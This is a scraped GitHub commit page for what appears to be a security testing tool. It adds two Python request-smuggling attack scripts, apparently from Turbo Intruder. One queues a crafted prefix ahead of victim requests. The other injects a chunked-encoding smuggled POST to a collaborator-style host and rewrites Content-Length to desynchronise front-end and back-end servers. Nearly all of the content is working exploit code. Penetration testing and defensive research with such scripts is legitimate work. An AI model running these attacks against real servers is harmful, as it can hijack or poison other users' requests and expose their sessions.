Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Migrate stuff from turbo intruder to make the tool fully standalone
- Loading branch information
Showing
6 changed files
with
91 additions
and
21 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
def queueRequests(target, wordlists): | ||
engine = RequestEngine(endpoint=target.endpoint, | ||
concurrentConnections=5, | ||
requestsPerConnection=1, | ||
resumeSSL=False, | ||
timeout=10, | ||
pipeline=False, | ||
maxRetriesPerRequest=0 | ||
) | ||
engine.start() | ||
|
||
# This will prefix the victim's request. Edit it to achieve the desired effect. | ||
prefix = '''GET /hopefully404 HTTP/1.1 | ||
X-Ignore: X''' | ||
|
||
# The request engine will auto-fix the content-length for us | ||
attack = target.req + prefix | ||
engine.queue(attack) | ||
|
||
victim = target.req | ||
for i in range(14): | ||
engine.queue(victim) | ||
time.sleep(0.05) | ||
|
||
|
||
def handleResponse(req, interesting): | ||
table.add(req) | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
import re | ||
|
||
def queueRequests(target, wordlists): | ||
engine = RequestEngine(endpoint=target.endpoint, | ||
concurrentConnections=5, | ||
requestsPerConnection=1, | ||
resumeSSL=False, | ||
timeout=10, | ||
pipeline=False, | ||
maxRetriesPerRequest=0 | ||
) | ||
engine.start() | ||
|
||
# This will prefix the victim's request. Edit it to achieve the desired effect. | ||
prefix = '''POST /hopefully404 HTTP/1.1 | ||
Host: 0uv5p05xabvwcz8ukuc73ikco3uuij.psres.net | ||
Content-Type: application/x-www-form-urlencoded | ||
Content-Length: 15 | ||
x=1''' | ||
|
||
chunk_size = hex(len(prefix)).lstrip("0x") | ||
attack = target.req.replace('0\r\n\r\n', chunk_size+'\r\n'+prefix+'\r\n0\r\n\r\n') | ||
content_length = re.search('Content-Length: ([\d]+)', attack).group(1) | ||
attack = attack.replace('Content-Length: '+content_length, 'Content-length: '+str(int(content_length)+len(chunk_size)-3)) | ||
engine.queue(attack) | ||
|
||
for i in range(14): | ||
engine.queue(target.req) | ||
time.sleep(0.05) | ||
|
||
|
||
def handleResponse(req, interesting): | ||
table.add(req) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters